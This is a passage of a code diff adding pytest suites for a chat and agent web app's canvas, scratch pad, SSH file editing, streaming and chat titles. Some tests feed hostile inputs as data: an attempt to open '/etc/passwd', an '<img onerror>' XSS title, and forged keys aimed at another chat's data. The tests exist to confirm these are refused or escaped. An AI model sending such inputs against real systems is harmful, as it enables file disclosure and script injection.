client.post(f"/api/chats/{chat.id}/canvas/tabs", data={"key": "note:1"}).status_code
== 404
)
def test_a_get_never_opens_a_tab(client: TestClient, db, registered, make_chat):
"""There is no CSRF token here and the cookie is SameSite Lax, so a
state-changing GET is a link somebody can be made to follow."""
_add_connection(db)
chat_id = make_chat()
client.get(f"/api/chats/{chat_id}/canvas?key=scratch:{chat_id}")
assert not (db.get(Chat, chat_id).canvas_json or {}).get("tabs")
def test_opening_and_closing_the_scratch_document(client: TestClient, db, registered, make_chat):
_add_connection(db)
chat_id = make_chat()
opened = client.post(
f"/api/chats/{chat_id}/canvas/tabs", data={"key": f"scratch:{chat_id}"}
)
assert opened.status_code == 200
db.expire_all()
assert (db.get(Chat, chat_id).canvas_json or {})["active"] == f"scratch:{chat_id}"
client.post(f"/api/chats/{chat_id}/canvas/tabs/close", data={"key": f"scratch:{chat_id}"})
db.expire_all()
assert (db.get(Chat, chat_id).canvas_json or {})["tabs"] == []
def test_a_scratch_key_naming_another_chat_is_refused(
client: TestClient, db, registered, make_chat
):
"""A forged key must not reach another conversation's pad."""
_add_connection(db)
mine = make_chat()
theirs = make_chat()
response = client.post(f"/api/chats/{mine}/canvas/tabs", data={"key": f"scratch:{theirs}"})
assert "another chat" in response.text
db.expire_all()
assert not (db.get(Chat, mine).canvas_json or {}).get("tabs")
def test_an_unknown_source_says_so_rather_than_500ing(
client: TestClient, db, registered, make_chat
):
"""An exception page swapped into a side panel is a blank side panel."""
_add_connection(db)
chat_id = make_chat()
response = client.post(f"/api/chats/{chat_id}/canvas/tabs", data={"key": "wizard:1"})
assert response.status_code == 200
assert "nothing to open" in response.text.lower()
def test_a_tab_whose_row_was_deleted_renders_an_error(
client: TestClient, db, registered, make_chat
):
_add_connection(db)
chat_id = make_chat()
user = db.get(User, db.get(Chat, chat_id).user_id)
note = notes_service.create(db, owner=user, title="Gone", body="soon")
client.post(f"/api/chats/{chat_id}/canvas/tabs", data={"key": f"note:{note.id}"})
notes_service.delete(db, note)
response = client.get(f"/api/chats/{chat_id}/canvas")
assert response.status_code == 200
assert "not there any more" in response.text
# --- Saving --------------------------------------------------------------------
def test_a_note_is_saved_through_the_canvas(client: TestClient, db, registered, make_chat):
_add_connection(db)
chat_id = make_chat()
user = db.get(User, db.get(Chat, chat_id).user_id)
note = notes_service.create(db, owner=user, title="Errands", body="alpha")
doc = canvas_service._stamp(note, note.body)
response = client.post(
f"/api/chats/{chat_id}/canvas/save",
data={"key": f"note:{note.id}", "text": "beta", "revision": doc},
)
assert response.status_code == 200
db.expire_all()
assert db.get(type(note), note.id).body == "beta"
def test_a_stale_revision_writes_nothing(client: TestClient, db, registered, make_chat):
"""Never save silently over somebody else's change, and never discard what
was typed here either -- the card carries both."""
_add_connection(db)
chat_id = make_chat()
user = db.get(User, db.get(Chat, chat_id).user_id)
note = notes_service.create(db, owner=user, title="Errands", body="alpha")
response = client.post(
f"/api/chats/{chat_id}/canvas/save",
data={"key": f"note:{note.id}", "text": "beta", "revision": "0:999"},
)
assert response.status_code == 200
assert "changed after you opened it" in response.text
# What was typed comes back in the box, so Overwrite is one click.
assert "beta" in response.text
db.expire_all()
assert db.get(type(note), note.id).body == "alpha"
def test_an_empty_revision_overwrites(client: TestClient, db, registered, make_chat):
"""Which is exactly what Overwrite on the conflict card sends: somebody has
been shown both versions and chosen."""
_add_connection(db)
chat_id = make_chat()
user = db.get(User, db.get(Chat, chat_id).user_id)
note = notes_service.create(db, owner=user, title="Errands", body="alpha")
client.post(
f"/api/chats/{chat_id}/canvas/save",
data={"key": f"note:{note.id}", "text": "beta", "revision": ""},
)
db.expire_all()
assert db.get(type(note), note.id).body == "beta"
def test_someone_elses_note_cannot_be_saved(client: TestClient, db, registered, make_chat):
"""Sharing grants reading only."""
_add_connection(db)
chat_id = make_chat()
other = User(name="Sam", email="sam@shire.test", password_hash="x")
db.add(other)
db.commit()
note = notes_service.create(db, owner=other, title="Theirs", body="alpha")
response = client.post(
f"/api/chats/{chat_id}/canvas/save",
data={"key": f"note:{note.id}", "text": "beta", "revision": ""},
)
db.expire_all()
assert db.get(type(note), note.id).body == "alpha"
assert "not there any more" in response.text or "not yours" in response.text
def test_an_attachment_has_no_save_path(client: TestClient, db, registered, make_chat):
"""`DELETE /api/files/{id}` already refuses once an attachment has been sent
because it would rewrite a message somebody read. Editing is the same act
with a quieter failure."""
_add_connection(db)
chat_id = make_chat()
attachment = Attachment(
user_id=db.get(Chat, chat_id).user_id,
chat_id=chat_id,
filename="notes.txt",
stored_name="x.txt",
media_type="text/plain",
kind="text",
extracted_text="alpha",
)
db.add(attachment)
db.commit()
response = client.post(
f"/api/chats/{chat_id}/canvas/save",
data={"key": f"file:{attachment.id}", "text": "beta", "revision": ""},
)
assert "only be read" in response.text
db.expire_all()
assert db.get(Attachment, attachment.id).extracted_text == "alpha"
def test_an_attachment_from_another_chat_is_refused(
client: TestClient, db, registered, make_chat
):
"""A canvas must not browse another conversation's files by id."""
_add_connection(db)
mine = make_chat()
theirs = make_chat()
attachment = Attachment(
user_id=db.get(Chat, theirs).user_id,
chat_id=theirs,
filename="notes.txt",
stored_name="x.txt",
media_type="text/plain",
kind="text",
extracted_text="alpha",
)
db.add(attachment)
db.commit()
response = client.post(
f"/api/chats/{mine}/canvas/tabs", data={"key": f"file:{attachment.id}"}
)
assert "another chat" in response.text
# --- The agent source, without a machine ------------------------------------------
def test_an_ordinary_chat_cannot_open_a_project_file(
client: TestClient, db, registered, make_chat
):
_add_connection(db)
chat_id = make_chat()
response = client.post(
f"/api/chats/{chat_id}/canvas/tabs", data={"key": "agent:/etc/passwd"}
)
assert "no connection" in response.text
db.expire_all()
assert not (db.get(Chat, chat_id).canvas_json or {}).get("tabs")
def test_an_agent_chat_without_the_permission_cannot_either(
client: TestClient, db, registered, make_chat
):
"""Re-derived server-side on every request; the template flag is decoration."""
_add_connection(db)
chat_id = make_chat()
chat = db.get(Chat, chat_id)
chat.kind = KIND_AGENT
chat.ssh_profile_id = "nothing"
db.commit()
settings_store.update(db, {"enabled": True}, key=settings_store.AGENTS)
user = db.get(User, chat.user_id)
user.role = "user"
settings_store.update(db, {"default_permissions": {"tools.agent": False}})
db.commit()
assert canvas_service.agent_ready(db, user, chat) is None
# --- The document source ------------------------------------------------------------
def test_a_documents_text_can_be_replaced(client: TestClient, db, registered, make_chat):
"""Replacing a failed extraction by hand is the main reason to want this."""
_add_connection(db)
chat_id = make_chat()
user = db.get(User, db.get(Chat, chat_id).user_id)
base = documents_service.create_base(db, owner=user, name="Contracts")
document = _page(db, user, base, "alpha")
document.extraction_error = "Could not read this."
db.commit()
documents_service.set_text(db, document, "beta")
db.expire_all()
refreshed = documents_service.get(db, document.id, user)
assert refreshed.extracted_text == "beta"
# The old apology beside the new text would be the page contradicting itself.
assert refreshed.extraction_error == ""
def test_editing_a_document_does_not_change_a_transcript(db, registered, make_chat):
"""`files.copy_document` copies the text when a document is attached, so an
edit only changes what future searches find."""
from lembas.services import files as files_service
_add_connection(db)
chat_id = make_chat()
user = db.get(User, db.get(Chat, chat_id).user_id)
base = documents_service.create_base(db, owner=user, name="Contracts")
document = _page(db, user, base, "alpha")
attachment = files_service.copy_document(
db, user_id=user.id, chat_id=chat_id, document=document
)
documents_service.set_text(db, document, "beta")
db.expire_all()
assert db.get(Attachment, attachment.id).extracted_text == "alpha"
# --- The scratch document -----------------------------------------------------------
def test_the_pad_is_made_once_per_chat(db, registered, make_chat):
_add_connection(db)
chat = db.get(Chat, make_chat())
first = scratch_service.for_chat(db, chat)
second = scratch_service.for_chat(db, chat)
assert first.id == second.id
assert db.scalars(select(ScratchDoc)).all() == [first]
def test_asking_whether_there_is_one_does_not_make_one(db, registered, make_chat):
"""Otherwise every chat ever opened acquires an empty row."""
_add_connection(db)
chat = db.get(Chat, make_chat())
assert scratch_service.get(db, chat) is None
assert db.scalars(select(ScratchDoc)).all() == []
def test_appending_twice_keeps_both(db, registered, make_chat):
"""A read-and-concatenate at the call site would let two calls in one round
each read the same body, and the second would drop the first."""
_add_connection(db)
chat = db.get(Chat, make_chat())
doc = scratch_service.for_chat(db, chat)
scratch_service.append(db, doc, "first", author="model")
scratch_service.append(db, doc, "second", author="model")
assert "first" in doc.body
assert "second" in doc.body
def test_the_pad_keeps_trailing_whitespace(db, registered, make_chat):
"""A save that silently trims the line you are standing on is the kind of
thing that makes an editor feel broken."""
_add_connection(db)
chat = db.get(Chat, make_chat())
doc = scratch_service.for_chat(db, chat)
scratch_service.update(db, doc, body="a line \n")
assert doc.body == "a line \n"
def test_attaching_the_pad_copies_it(client: TestClient, db, registered, make_chat):
"""The pad goes on being written after the message is sent, by both sides."""
_add_connection(db)
chat_id = make_chat()
chat = db.get(Chat, chat_id)
doc = scratch_service.for_chat(db, chat)
scratch_service.update(db, doc, body="the draft")
response = client.post("/api/files/from-scratch", data={"chat_id": chat_id})
assert response.status_code == 200
scratch_service.update(db, doc, body="changed since")
db.expire_all()
attachment = db.scalar(select(Attachment))
assert attachment.extracted_text == "the draft"
def test_an_empty_pad_is_not_worth_attaching(client: TestClient, db, registered, make_chat):
_add_connection(db)
chat_id = make_chat()
response = client.post("/api/files/from-scratch", data={"chat_id": chat_id})
assert "not available" in response.text
assert db.scalar(select(Attachment)) is None
def test_the_pad_of_another_chat_cannot_be_attached(
client: TestClient, db, registered, make_chat
):
_add_connection(db)
other = User(name="Sam", email="sam@shire.test", password_hash="x")
db.add(other)
db.commit()
chat = Chat(user_id=other.id, model_id="test-model")
db.add(chat)
db.commit()
scratch_service.update(db, scratch_service.for_chat(db, chat), body="theirs")
response = client.post("/api/files/from-scratch", data={"chat_id": chat.id})
assert "not available" in response.text
assert db.scalar(select(Attachment)) is None
# --- Where the panel appears ---------------------------------------------------------
def test_the_panel_is_on_a_chat_and_not_on_the_new_chat_screen(
client: TestClient, db, registered, make_chat
):
"""Absent before there is a row, for the reason the scope menu is: there is
nothing to hang a tab on yet."""
_add_connection(db)
assert 'id="canvas"' not in client.get("/chat").text
assert 'id="canvas"' in client.get(f"/chat/{make_chat()}").text
def test_the_panel_shares_one_slot_with_the_others(
client: TestClient, db, registered, make_chat
):
"""At 1280px the sidebar plus two panels leaves about seventy pixels of
conversation, so only one of the three is ever open."""
_add_connection(db)
page = client.get(f"/chat/{make_chat()}").text
assert 'data-toggle="#canvas" data-toggle-group="side"' in page
@pytest.mark.parametrize("verb", ["get"])
def test_the_tab_routes_refuse_the_wrong_method(
client: TestClient, db, registered, make_chat, verb
):
"""A control wired to a method its route does not serve fails silently."""
_add_connection(db)
chat_id = make_chat()
assert getattr(client, verb)(f"/api/chats/{chat_id}/canvas/tabs").status_code == 405
assert getattr(client, verb)(f"/api/chats/{chat_id}/canvas/save").status_code == 405
tests/test_canvas_ssh.py
+176
View File
@@ -0,0 +1,176 @@
"""Reading and writing a file for somebody who is about to edit it.
The model-facing `read_file`/`write_file` pair is deliberately untouched: what
they return is a contract a model has been shown, and it is the right contract
for a model. It is the wrong one here, and these are the cases that say why.
"""
from __future__ import annotations
import pytest
from lembas.services.agent import ssh as ssh_service
from lembas.services.agent.base import Conflict, ExecError
asyncssh = pytest.importorskip("asyncssh")
class _Server(asyncssh.SSHServer):
def begin_auth(self, username: str) -> bool:
return False
@pytest.fixture
async def machine(tmp_path):
project = tmp_path / "project"
project.mkdir()
server = await asyncssh.create_server(
_Server,
"127.0.0.1",
0,
server_host_keys=[asyncssh.generate_private_key("ssh-ed25519")],
sftp_factory=True,
)
port = next(iter(server.sockets)).getsockname()[1]
line, fingerprint = await ssh_service.capture_host_key("127.0.0.1", port)
try:
yield {"port": port, "host_key": line, "dir": str(project), "path": project}
finally:
server.close()
await server.wait_closed()
def _executor(machine) -> ssh_service.SshExecutor:
return ssh_service.SshExecutor(
{
"host": "127.0.0.1",
"port": machine["port"],
"username": "tester",
"auth": "password",
"credential": "",
"host_key": machine["host_key"],
},
machine["dir"],
)
# --- Fidelity ------------------------------------------------------------------
async def test_an_escape_sequence_survives_a_round_trip(machine):
"""The whole reason this is not `read_file`. That one ends in
`clean_output`, which strips ANSI escapes -- right for the output of a
command, and here it means opening a file and pressing Save rewrites it
with the escapes gone."""
original = "red \x1b[31mtext\x1b[0m here\n"
(machine["path"] / "colours.txt").write_text(original)
executor = _executor(machine)
opened = await executor.read_text("colours.txt")
assert opened.text == original
await executor.write_text("colours.txt", opened.text, if_unchanged=opened.revision)
assert (machine["path"] / "colours.txt").read_text() == original
async def test_the_model_facing_read_still_strips_them(machine):
"""Pinned as a pair: the contract a model was shown has not moved."""
(machine["path"] / "colours.txt").write_text("red \x1b[31mtext\x1b[0m here\n")
text = await _executor(machine).read_file("colours.txt")
assert "\x1b[31m" not in text
async def test_undecodable_bytes_are_reported_rather_than_replaced(machine):
"""errors="replace" would hand back U+FFFD for every one of them, and
saving that back is how a file is quietly destroyed."""
(machine["path"] / "blob.bin").write_bytes(b"\xff\xfe\x00\x01binary")
opened = await _executor(machine).read_text("blob.bin")
assert opened.binary is True
assert opened.text == ""
async def test_a_nul_byte_early_on_reads_as_binary(machine):
(machine["path"] / "blob.bin").write_bytes(b"text\x00more text")
assert (await _executor(machine).read_text("blob.bin")).binary is True
async def test_utf8_beyond_ascii_is_not_binary(machine):
(machine["path"] / "note.txt").write_text("a mallorn tree — Lothlórien\n")
opened = await _executor(machine).read_text("note.txt")
assert opened.binary is False
assert "Lothlórien" in opened.text
# --- Size ------------------------------------------------------------------------
async def test_a_large_file_opens_truncated(machine):
(machine["path"] / "big.log").write_text("x" * (ssh_service.MAX_READ_BYTES + 500))
opened = await _executor(machine).read_text("big.log")
assert opened.truncated is True
assert len(opened.text) == ssh_service.MAX_READ_BYTES
async def test_an_oversize_write_is_refused_not_truncated(machine):
"""`write_file` truncates because a model is told how many bytes it wrote.
Somebody pressing Save would lose the tail with nothing said."""
executor = _executor(machine)
(machine["path"] / "big.txt").write_text("small")
with pytest.raises(ExecError, match="Nothing was written"):
await executor.write_text("big.txt", "y" * (ssh_service.MAX_WRITE_BYTES + 1))
assert (machine["path"] / "big.txt").read_text() == "small"
# --- Conflict ---------------------------------------------------------------------
async def test_a_file_that_moved_underneath_refuses_the_save(machine):
import os
target = machine["path"] / "note.txt"
target.write_text("alpha\n")
executor = _executor(machine)
opened = await executor.read_text("note.txt")
# Somebody else's editor, a build, a checkout. The size differs, so this
# does not depend on the filesystem's mtime resolution.
target.write_text("something else entirely\n")
os.utime(target, (0, 0))
with pytest.raises(Conflict):
await executor.write_text("note.txt", "beta\n", if_unchanged=opened.revision)
assert target.read_text() == "something else entirely\n"
async def test_a_save_with_no_token_overwrites(machine):
"""Which is what Overwrite on the conflict card does."""
target = machine["path"] / "note.txt"
target.write_text("alpha\n")
await _executor(machine).write_text("note.txt", "beta\n")
assert target.read_text() == "beta\n"
async def test_a_new_file_can_be_created(machine):
"""Open a path that is not there, type, Save. The stat finds nothing and
there is nothing for the token to disagree with."""
executor = _executor(machine)
await executor.write_text("fresh.txt", "hello\n", if_unchanged="0:0")
assert (machine["path"] / "fresh.txt").read_text() == "hello\n"
async def test_the_revision_moves_after_a_write(machine):
"""Or the second save from the same tab would always conflict."""
target = machine["path"] / "note.txt"
target.write_text("alpha\n")
executor = _executor(machine)
opened = await executor.read_text("note.txt")
written = await executor.write_text(
"note.txt", "much longer contents\n", if_unchanged=opened.revision
)
assert written.revision != opened.revision
await executor.write_text("note.txt", "again\n", if_unchanged=written.revision)
assert target.read_text() == "again\n"
async def test_reading_something_that_is_not_there_says_so(machine):
with pytest.raises(ExecError, match="no file"):
await _executor(machine).read_text("nowhere.txt")
tests/test_canvas_stream.py
+218
View File
@@ -0,0 +1,218 @@
"""A file the model opened, reaching the panel.
The rule this pins is the one that would fail silently: the `canvas` frame is
guarded on truthiness, so it can never blank itself. An empty one would close
every tab somebody had open -- the "approval card you could press twice" failure
with the sign reversed.
"""
from __future__ import annotations
import json
from sqlalchemy import select
from lembas.db.models import ROLE_ASSISTANT, Chat, Connection, Message, Model
from lembas.services import canvas as canvas_service
from lembas.services import generation as generation_service
def _chat_with_a_reply(db, user_id):
connection = Connection(name="c", base_url="http://127.0.0.1:1", api_key_encrypted="")
db.add(connection)
db.commit()
db.add(Model(connection_id=connection.id, model_id="m"))
db.commit()
chat = Chat(user_id=user_id, model_id="m", connection_id=connection.id)
db.add(chat)
db.commit()
db.add(Message(chat_id=chat.id, role="user", content="Have a look", complete=True))
db.commit()
assistant = Message(chat_id=chat.id, role=ROLE_ASSISTANT, content="", complete=False)
db.add(assistant)
db.commit()
return chat.id, assistant.id
def _stub_stream(text: str):
async def stream_chat(_endpoint, _payload):
yield {"choices": [{"delta": {"content": text}}]}
return stream_chat
# --- The frame ------------------------------------------------------------------
def test_the_frame_is_absent_when_nothing_was_opened(db, user_id):
"""Asserted directly, because this is the whole safety property. `reasoning`,
`tools` and `render` are guarded the same way; `metrics`, `status` and `ask`
are not, because each of *those* has to be able to clear."""
generation = generation_service.Generation(chat_id="x", message_id="y")
assert not generation.canvas.get("tabs")
def test_the_frame_carries_the_whole_strip(db, user_id):
"""Not a delta. A follower attaching mid-reply has no earlier fragments to
append to, so it gets every tab the reply has touched."""
from lembas.api.chats import _canvas_tabs
state: dict = {}
canvas_service.open_tab(state, {"key": "agent:/a.py", "title": "a.py"}, activate=False)
canvas_service.open_tab(state, {"key": "agent:/b.py", "title": "b.py"}, activate=False)
html = _canvas_tabs("chat-1", state)
assert "a.py" in html
assert "b.py" in html
# Out of band, because it belongs to a panel and not to the bubble the
# stream is writing into.
assert 'hx-swap-oob="true"' in html
assert 'id="canvas-tabs"' in html
def test_a_path_with_a_quote_does_not_break_the_strip():
"""The key goes into an hx-vals attribute. `| tojson` rather than quoting by
hand, or a file called `"` produces vals that do not parse and the tab
silently stops working."""
from lembas.api.chats import _canvas_tabs
state: dict = {}
canvas_service.open_tab(state, {"key": 'agent:/srv/a"b.py', "title": 'a"b.py'})
html = _canvas_tabs("chat-1", state)
assert 'a\\"b.py' in html or "a&#34;b.py" in html
# --- Through the loop -------------------------------------------------------------
async def test_two_reads_in_one_round_both_land(db, user_id, monkeypatch):
"""Seeded once and mutated, not re-read per call: two `file_read`s that each
read the row would leave only the second."""
generation = generation_service.Generation(chat_id="x", message_id="y")
generation.canvas = {"tabs": [], "active": ""}
for path in ("/srv/a.py", "/srv/b.py"):
canvas_service.open_tab(
generation.canvas, {"key": f"agent:{path}", "title": path}, activate=False
)
assert [t["key"] for t in generation.canvas["tabs"]] == [
"agent:/srv/a.py",
"agent:/srv/b.py",
]
async def test_a_reply_writes_its_tabs_onto_the_chat(db, user_id, monkeypatch):
chat_id, message_id = _chat_with_a_reply(db, user_id)
monkeypatch.setattr(generation_service, "stream_chat", _stub_stream("Looked."))
generation = generation_service.Generation(chat_id=chat_id, message_id=message_id)
await generation_service._run(generation)
# Nothing was opened, so nothing is written -- and in particular the column
# is not blanked.
db.expire_all()
assert not (db.get(Chat, chat_id).canvas_json or {}).get("tabs")
async def test_a_reply_never_wipes_the_tabs_that_were_already_open(
db, user_id, monkeypatch
):
"""The snapshot is seeded from the row when the reply begins, so a reply
that opens nothing writes nothing -- and one that opens something adds to
what was there rather than replacing it."""
chat_id, message_id = _chat_with_a_reply(db, user_id)
monkeypatch.setattr(generation_service, "stream_chat", _stub_stream("Looked."))
chat = db.get(Chat, chat_id)
chat.canvas_json = canvas_service.open_tab({}, {"key": f"scratch:{chat_id}"})
db.commit()
generation = generation_service.Generation(chat_id=chat_id, message_id=message_id)
await generation_service._run(generation)
db.expire_all()
stored = db.get(Chat, chat_id).canvas_json or {}
assert [t["key"] for t in stored["tabs"]] == [f"scratch:{chat_id}"]
assert stored["active"] == f"scratch:{chat_id}"
async def test_the_snapshot_is_seeded_from_the_row(db, user_id, monkeypatch):
"""Seeded once where the chat is already loaded, rather than re-read per
call -- which is what lets two file reads in one round both land."""
chat_id, message_id = _chat_with_a_reply(db, user_id)
monkeypatch.setattr(generation_service, "stream_chat", _stub_stream("Looked."))
chat = db.get(Chat, chat_id)
chat.canvas_json = canvas_service.open_tab({}, {"key": f"scratch:{chat_id}"})
db.commit()
generation = generation_service.Generation(chat_id=chat_id, message_id=message_id)
await generation_service._run(generation)
assert [t["key"] for t in generation.canvas["tabs"]] == [f"scratch:{chat_id}"]
# --- What the runners write ---------------------------------------------------------
def test_the_file_tools_name_the_key_the_same_way_a_person_would():
"""A tab a model opened and one a person opened have to be one tab."""
from lembas.services.agent import tools as agent_tools
from lembas.services.agent.session import AgentContext
agent = AgentContext(chat_id="c", label="Box", project_dir="/srv/app")
for spelling in ("./main.py", "main.py", "/srv/app/main.py"):
assert agent_tools._canvas(agent, spelling)["key"] == "agent:/srv/app/main.py"
def test_the_key_matches_the_read_path_set():
"""Both come from `_path_key`. If they could drift, `file_edit`'s "read it
first" and the canvas would disagree about which file was read."""
from lembas.services.agent import tools as agent_tools
from lembas.services.agent.session import AgentContext
agent = AgentContext(chat_id="c", label="Box", project_dir="/srv/app")
assert agent_tools._canvas(agent, "./main.py")["key"] == (
f"agent:{agent_tools._path_key(agent, './main.py')}"
)
def test_the_swap_target_exists_on_a_streaming_bubble():
"""A frame with nowhere to land is a frame that silently does nothing."""
from lembas.web.templating import templates
html = templates.get_template("chat/_message.html").render(
{
"message": Message(id="m1", chat_id="c1", role=ROLE_ASSISTANT, content=""),
"streaming": True,
"chat": None,
"user": None,
"models_by_id": {},
"bodies": {},
}
)
assert 'sse-swap="canvas"' in html
def test_scratch_write_opens_its_tab(db, user_id):
"""It rides on the same mechanism as the file tools, and for the same
reason: no new schema and no tokens."""
from lembas.services.tools import REGISTRY
tool = REGISTRY["scratch_write"]
assert tool.family == "scratch"
# RISK_READ, on plan_update's argument: risk is what a tool does to the
# world the four modes govern, which is the machine.
assert tool.risk == "read"
def test_the_event_survives_into_the_stored_transcript():
"""Harmless and mildly useful: `_tool_activity.html` reads named keys."""
event = {"name": "file_read", "canvas": {"key": "agent:/a.py"}}
assert json.loads(json.dumps(event))["canvas"]["key"] == "agent:/a.py"
def test_nothing_but_the_chat_row_holds_the_tabs(db, user_id):
"""No table, no cleanup path: the tabs go when the chat does."""
chat_id, _ = _chat_with_a_reply(db, user_id)
chat = db.get(Chat, chat_id)
chat.canvas_json = canvas_service.open_tab({}, {"key": "note:1"})
db.commit()
db.delete(chat)
db.commit()
assert db.scalar(select(Chat)) is None
tests/test_chat_titles.py
+221
View File
@@ -0,0 +1,221 @@
"""How a chat gets its name, and how it gets a different one."""
from __future__ import annotations
from fastapi.testclient import TestClient
from sqlalchemy import select
from lembas.db.models import KIND_AGENT, ROLE_ASSISTANT, Chat, Connection, Message, Model, User
from lembas.services import chat as chat_service
from lembas.services import generation as generation_service
from lembas.services.crypto import encrypt
def _add_connection(db) -> Connection:
connection = Connection(
name="Test", base_url="http://127.0.0.1:1", api_key_encrypted=encrypt("")
)
db.add(connection)
db.commit()
db.add(Model(connection_id=connection.id, model_id="test-model"))
db.commit()
return connection
def _chat_awaiting_a_reply(db, user_id, *, kind="chat", question="Rebuild the search index"):
connection = db.scalar(select(Connection))
chat = Chat(
user_id=user_id, model_id="test-model", connection_id=connection.id, kind=kind
)
db.add(chat)
db.commit()
db.add(Message(chat_id=chat.id, role="user", content=question, complete=True))
db.commit()
assistant = Message(chat_id=chat.id, role=ROLE_ASSISTANT, content="", complete=False)
db.add(assistant)
db.commit()
return chat.id, assistant.id
def _stub_stream(text: str):
async def stream_chat(_endpoint, _payload):
yield {"choices": [{"delta": {"content": text}}]}
return stream_chat
# --- Where a title comes from ---------------------------------------------------
async def test_an_agent_chat_is_named_from_its_first_prompt(db, user_id, monkeypatch):
"""Somebody starting one states an objective, not a topic, so the opening
words are already a title. No second completion is spent on it."""
_add_connection(db)
chat_id, message_id = _chat_awaiting_a_reply(db, user_id, kind=KIND_AGENT)
monkeypatch.setattr(generation_service, "stream_chat", _stub_stream("Done."))
asked = []
async def _never(*args, **kwargs):
asked.append(args)
return "From the model"
monkeypatch.setattr(chat_service, "generate_title", _never)
generation = generation_service.Generation(chat_id=chat_id, message_id=message_id)
await generation_service._run(generation)
db.expire_all()
assert db.get(Chat, chat_id).title == "Rebuild the search index"
assert asked == [], "an agent chat must not spend a completion on its name"
async def test_an_ordinary_chat_still_asks_a_model(db, user_id, monkeypatch):
"""The opening of an ordinary chat is a question, and its answer is what
makes a title worth asking for."""
_add_connection(db)
chat_id, message_id = _chat_awaiting_a_reply(db, user_id)
monkeypatch.setattr(generation_service, "stream_chat", _stub_stream("Like so."))
async def _titled(*args, **kwargs):
return "Search indexing, explained"
monkeypatch.setattr(chat_service, "generate_title", _titled)
generation = generation_service.Generation(chat_id=chat_id, message_id=message_id)
await generation_service._run(generation)
db.expire_all()
assert db.get(Chat, chat_id).title == "Search indexing, explained"
async def test_an_agent_title_is_trimmed_on_a_word_boundary(db, user_id, monkeypatch):
_add_connection(db)
long = (
"Rebuild the search index and then reindex every document in the "
"knowledge base before the deploy"
)
chat_id, message_id = _chat_awaiting_a_reply(db, user_id, kind=KIND_AGENT, question=long)
monkeypatch.setattr(generation_service, "stream_chat", _stub_stream("Done."))
generation = generation_service.Generation(chat_id=chat_id, message_id=message_id)
await generation_service._run(generation)
db.expire_all()
title = db.get(Chat, chat_id).title
assert title == chat_service.fallback_title(long)
assert len(title) <= chat_service.MAX_TITLE_LENGTH + 1
assert title.endswith("…")
async def test_an_agent_chat_is_named_only_once(db, user_id, monkeypatch):
_add_connection(db)
chat_id, message_id = _chat_awaiting_a_reply(db, user_id, kind=KIND_AGENT)
monkeypatch.setattr(generation_service, "stream_chat", _stub_stream("Done."))
generation = generation_service.Generation(chat_id=chat_id, message_id=message_id)
await generation_service._run(generation)
db.expire_all()
chat = db.get(Chat, chat_id)
assert chat.title_generated is True
# --- Renaming ---------------------------------------------------------------------
def test_a_rename_answers_with_both_places_the_title_appears(
client: TestClient, db, registered, make_chat
):
"""One response, two out-of-band spans. The heading alone left the sidebar
row showing the old name until the next reload, which reads as a rename
that half worked."""
_add_connection(db)
chat_id = make_chat()
response = client.patch(f"/api/chats/{chat_id}", data={"title": "Orthanc"})
assert response.status_code == 200
assert 'id="chat-title"' in response.text
assert f'id="chat-link-label-{chat_id}"' in response.text
assert "Orthanc" in response.text
assert db.get(Chat, chat_id).title == "Orthanc"
def test_a_rename_stops_the_chat_being_auto_titled(client: TestClient, db, registered, make_chat):
_add_connection(db)
chat_id = make_chat()
client.patch(f"/api/chats/{chat_id}", data={"title": "Orthanc"})
assert db.get(Chat, chat_id).title_generated is True
def test_a_title_is_escaped_on_the_way_back(client: TestClient, db, registered, make_chat):
"""It is text somebody typed, and it lands in two spans on a page that can
open a shell."""
_add_connection(db)
chat_id = make_chat()
response = client.patch(
f"/api/chats/{chat_id}", data={"title": "<img src=x onerror=alert(1)>"}
)
assert "<img src=x" not in response.text
assert "&lt;img" in response.text
def test_a_blank_rename_changes_nothing_and_says_nothing(
client: TestClient, db, registered, make_chat
):
"""A chat with no name is one nobody can find in the sidebar."""
_add_connection(db)
chat_id = make_chat()
db.get(Chat, chat_id).title = "Orthanc"
db.commit()
response = client.patch(f"/api/chats/{chat_id}", data={"title": " "})
assert response.status_code == 204
assert db.get(Chat, chat_id).title == "Orthanc"
def test_a_patch_that_is_not_a_rename_still_answers_204(
client: TestClient, db, registered, make_chat
):
"""The out-of-band pair is only right when the title actually moved. Sending
it for every PATCH would overwrite the heading from an unrelated save."""
_add_connection(db)
chat_id = make_chat()
assert client.patch(f"/api/chats/{chat_id}", data={"agent_mode": "auto"}).status_code == 204
def test_renaming_someone_elses_chat_is_a_404(client: TestClient, db, registered, make_chat):
_add_connection(db)
other = User(name="Sam", email="sam@shire.test", password_hash="x")
db.add(other)
db.commit()
chat = Chat(user_id=other.id, model_id="test-model", title="Theirs")
db.add(chat)
db.commit()
assert client.patch(f"/api/chats/{chat.id}", data={"title": "Mine"}).status_code == 404
assert db.get(Chat, chat.id).title == "Theirs"
# --- Where the button is ------------------------------------------------------------
def test_the_rename_button_is_on_the_heading_and_the_row(
client: TestClient, db, registered, make_chat
):
_add_connection(db)
chat_id = make_chat()
page = client.get(f"/chat/{chat_id}").text
assert page.count(f'hx-patch="/api/chats/{chat_id}"') >= 2
assert 'data-prompt-field="title"' in page
def test_the_rename_button_posts_at_a_route_that_serves_patch(
client: TestClient, db, registered, make_chat
):
"""A control wired to a method its route does not serve fails silently."""
_add_connection(db)
chat_id = make_chat()
assert client.post(f"/api/chats/{chat_id}", data={"title": "x"}).status_code == 405
assert client.patch(f"/api/chats/{chat_id}", data={"title": "x"}).status_code == 200
def test_the_new_chat_screen_offers_no_rename(client: TestClient, db, registered):
"""There is no row to rename until the first message is sent."""
_add_connection(db)
assert 'data-prompt-field="title"' not in client.get("/chat").text
tests/test_folders.py
+311
View File
@@ -0,0 +1,311 @@
"""What a folder carries, and what the chats inside it inherit from it."""
from __future__ import annotations
from fastapi.testclient import TestClient
from sqlalchemy import select
from lembas.db.models import Chat, Connection, Folder, Model, SshProfile, User
from lembas.services import chat as chat_service
from lembas.services import settings_store
from lembas.services.crypto import encrypt
def _add_connection(db) -> Connection:
connection = Connection(
name="Test", base_url="http://127.0.0.1:1", api_key_encrypted=encrypt("")
)
db.add(connection)
db.commit()
db.add(Model(connection_id=connection.id, model_id="test-model"))
db.commit()
return connection
def _folder(db, name: str, parent: Folder | None = None, **fields) -> Folder:
user = db.scalars(select(User).order_by(User.created_at)).first()
folder = Folder(
user_id=user.id, name=name, parent_id=parent.id if parent else None, **fields
)
db.add(folder)
db.commit()
return folder
# --- Naming and renaming -------------------------------------------------------
def test_a_folder_is_created_with_the_name_that_was_asked_for(
client: TestClient, db, registered
):
